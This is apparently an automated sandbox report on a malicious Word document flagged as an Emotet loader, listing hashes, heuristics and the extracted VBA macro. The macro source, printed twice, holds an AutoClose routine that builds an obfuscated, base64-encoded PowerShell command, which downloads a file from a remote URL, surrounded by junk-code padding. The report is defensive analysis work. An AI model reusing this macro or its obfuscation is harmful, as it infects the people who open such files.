Office (OLE) malware analysis — malicious · 11dcb028ce5fa54c

MALICIOUS

Office (OLE)

217.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: 4d468791beda9ec0effe0f74395beaf6 SHA-1: 9226a1b77ac99098bb1dbe3f6349b71833778a45 SHA-256: 11dcb028ce5fa54c7ab508d1802c382d3d0e153aa5052bccdc462acc35b957ee

182 Risk Score

Heuristics 6

ClamAV: Doc.Malware.Emodldr-6703505-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-6703505-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 91469 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	91469 bytes
SHA-256: `e004f8842d885ccac9c9a3f3c67ae9435198d383a7b81b4f1e74be8092ba17a6`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const jyXUPiXaBEnEwIDOLIvIqywoWaSOvYdYiISgIjAcik = 0 Sub AutoClose() On Error Resume Next moBoGajEfYLYdeVaNobIJreSUMyTyXiiTYnOqAX = "cmd." + Chr(101) + "x" + Chr(101) + " /c P^o^" + Chr(87) + "^" + Chr(101) + "^r^s^h^" + Chr(101) + "^L^L^.^" + Chr(101) + "^x^" + Chr(101) + "^ ^-^N^o^E^x^i^t^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^D^k^A^b^w^B^3^A^D^A^A" Dim sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(5) If LenB("DAHeciEduxaDoQEsOX") < 71468 Then Dim MicoGinGIsinediCuzJaaXYBybizjokE(5) If LenB("WAVYsIVekEdesYrYLe") < 39965 Then MicoGinGIsinediCuzJaaXYBybizjokE(0) = VarType(Sqr(3996) + CInt("3996")) End If MicoGinGIsinediCuzJaaXYBybizjokE(1) = LTrim("WAVYsIVekEdesYrYLe") & "55" MicoGinGIsinediCuzJaaXYBybizjokE(2) = Day(39963996) If Len("MicoGinGIsinediCuzJaaXYBybizjokE") < Len("WAVYsIVekEdesYrYLe") Then MicoGinGIsinediCuzJaaXYBybizjokE(3) = Weekday(39965) End If Dim PisaSAsENuSYFZAHEiOcaneMePA(5) If LenB("CAXugIwOnoLUXE") < 78849 Then PisaSAsENuSYFZAHEiOcaneMePA(0) = VarType(Sqr(7884) + CInt("7884")) End If PisaSAsENuSYFZAHEiOcaneMePA(1) = LTrim("CAXugIwOnoLUXE") & "99" PisaSAsENuSYFZAHEiOcaneMePA(2) = Day(78847884) If Len("PisaSAsENuSYFZAHEiOcaneMePA") < Len("CAXugIwOnoLUXE") Then PisaSAsENuSYFZAHEiOcaneMePA(3) = Weekday(78849) End If sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(0) = VarType(Sqr(7146) + CInt("7146")) Dim zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(5) If LenB("haiemoDuSYHuDWaVikYMaW") < 68155 Then zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(0) = VarType(Sqr(6815) + CInt("6815")) End If zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(1) = LTrim("haiemoDuSYHuDWaVikYMaW") & "55" zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(2) = Day(68156815) If Len("zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI") < Len("haiemoDuSYHuDWaVikYMaW") Then zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(3) = Weekday(68155) End If Dim PIKyWyvSOaYPafERozkweZAFUwibAvAF(5) If LenB("tZeNUqEteGepyquaE") < 140810 Then PIKyWyvSOaYPafERozkweZAFUwibAvAF(0) = VarType(Sqr(1408) + CInt("1408")) End If PIKyWyvSOaYPafERozkweZAFUwibAvAF(1) = LTrim("tZeNUqEteGepyquaE") & "1010" PIKyWyvSOaYPafERozkweZAFUwibAvAF(2) = Day(14081408) If Len("PIKyWyvSOaYPafERozkweZAFUwibAvAF") < Len("tZeNUqEteGepyquaE") Then PIKyWyvSOaYPafERozkweZAFUwibAvAF(3) = Weekday(140810) End If End If sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(1) = LTrim("DAHeciEduxaDoQEsOX") & "88" sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(2) = Day(71467146) Dim DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(5) If LenB("RInELkUxebUfaBA") < 6904 Then DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(0) = VarType(Sqr(690) + CInt("690")) End If DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(1) = LTrim("RInELkUxebUfaBA") & "44" DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(2) = Day(690690) If Len("DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA") < Len("RInELkUxebUfaBA") Then DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(3) = Weekday(6904) End If If Len("sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG") < Len("DAHeciEduxaDoQEsOX") Then Dim HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(5) If LenB("aeTAtaVAKuGENYJ") < 439110 Then HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(0) = VarType(Sqr(4391) + CInt("4391")) End If HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(1) = LTrim("aeTAtaVAKuGENYJ") & "1010" HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(2) = Day(43914391) If Len("HaFUSIDizAHeradedYxImOVYmiWYwiFySevab") < Len("aeTAtaVAKuGENYJ") Then HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(3) = Weekday(439110) End If sdOWAgEvaVaHIsibFoiejHEwebA ... (truncated)

SHA-256: e004f8842d885ccac9c9a3f3c67ae9435198d383a7b81b4f1e74be8092ba17a6

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const jyXUPiXaBEnEwIDOLIvIqywoWaSOvYdYiISgIjAcik = 0
Sub AutoClose()
On Error Resume Next
moBoGajEfYLYdeVaNobIJreSUMyTyXiiTYnOqAX = "cmd." + Chr(101) + "x" + Chr(101) + " /c P^o^" + Chr(87) + "^" + Chr(101) + "^r^s^h^" + Chr(101) + "^L^L^.^" + Chr(101) + "^x^" + Chr(101) + "^ ^-^N^o^E^x^i^t^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^D^k^A^b^w^B^3^A^D^A^A"
Dim sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(5)

If LenB("DAHeciEduxaDoQEsOX") < 71468 Then
Dim MicoGinGIsinediCuzJaaXYBybizjokE(5)

If LenB("WAVYsIVekEdesYrYLe") < 39965 Then
MicoGinGIsinediCuzJaaXYBybizjokE(0) = VarType(Sqr(3996) + CInt("3996"))
End If
MicoGinGIsinediCuzJaaXYBybizjokE(1) = LTrim("WAVYsIVekEdesYrYLe") & "55"
MicoGinGIsinediCuzJaaXYBybizjokE(2) = Day(39963996)

If Len("MicoGinGIsinediCuzJaaXYBybizjokE") < Len("WAVYsIVekEdesYrYLe") Then
MicoGinGIsinediCuzJaaXYBybizjokE(3) = Weekday(39965)
End If
Dim PisaSAsENuSYFZAHEiOcaneMePA(5)

If LenB("CAXugIwOnoLUXE") < 78849 Then
PisaSAsENuSYFZAHEiOcaneMePA(0) = VarType(Sqr(7884) + CInt("7884"))
End If
PisaSAsENuSYFZAHEiOcaneMePA(1) = LTrim("CAXugIwOnoLUXE") & "99"
PisaSAsENuSYFZAHEiOcaneMePA(2) = Day(78847884)

If Len("PisaSAsENuSYFZAHEiOcaneMePA") < Len("CAXugIwOnoLUXE") Then
PisaSAsENuSYFZAHEiOcaneMePA(3) = Weekday(78849)
End If
sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(0) = VarType(Sqr(7146) + CInt("7146"))
Dim zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(5)

If LenB("haiemoDuSYHuDWaVikYMaW") < 68155 Then
zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(0) = VarType(Sqr(6815) + CInt("6815"))
End If
zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(1) = LTrim("haiemoDuSYHuDWaVikYMaW") & "55"
zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(2) = Day(68156815)

If Len("zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI") < Len("haiemoDuSYHuDWaVikYMaW") Then
zeVAsfEVExUIcUXaNAxuzIWEFAMaKeNYGYaAsI(3) = Weekday(68155)
End If
Dim PIKyWyvSOaYPafERozkweZAFUwibAvAF(5)

If LenB("tZeNUqEteGepyquaE") < 140810 Then
PIKyWyvSOaYPafERozkweZAFUwibAvAF(0) = VarType(Sqr(1408) + CInt("1408"))
End If
PIKyWyvSOaYPafERozkweZAFUwibAvAF(1) = LTrim("tZeNUqEteGepyquaE") & "1010"
PIKyWyvSOaYPafERozkweZAFUwibAvAF(2) = Day(14081408)

If Len("PIKyWyvSOaYPafERozkweZAFUwibAvAF") < Len("tZeNUqEteGepyquaE") Then
PIKyWyvSOaYPafERozkweZAFUwibAvAF(3) = Weekday(140810)
End If
End If
sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(1) = LTrim("DAHeciEduxaDoQEsOX") & "88"
sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG(2) = Day(71467146)

Dim DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(5)

If LenB("RInELkUxebUfaBA") < 6904 Then
DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(0) = VarType(Sqr(690) + CInt("690"))
End If
DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(1) = LTrim("RInELkUxebUfaBA") & "44"
DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(2) = Day(690690)

If Len("DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA") < Len("RInELkUxebUfaBA") Then
DonIlymAsIfusAKENKOfegoBOpEqAKOpEhyDeNOrafEnuHA(3) = Weekday(6904)
End If
If Len("sdOWAgEvaVaHIsibFoiejHEwebAtyJEniteBILUviWAG") < Len("DAHeciEduxaDoQEsOX") Then
Dim HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(5)

If LenB("aeTAtaVAKuGENYJ") < 439110 Then
HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(0) = VarType(Sqr(4391) + CInt("4391"))
End If
HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(1) = LTrim("aeTAtaVAKuGENYJ") & "1010"
HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(2) = Day(43914391)

If Len("HaFUSIDizAHeradedYxImOVYmiWYwiFySevab") < Len("aeTAtaVAKuGENYJ") Then
HaFUSIDizAHeradedYxImOVYmiWYwiFySevab(3) = Weekday(439110)
End If
sdOWAgEvaVaHIsibFoiejHEwebA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.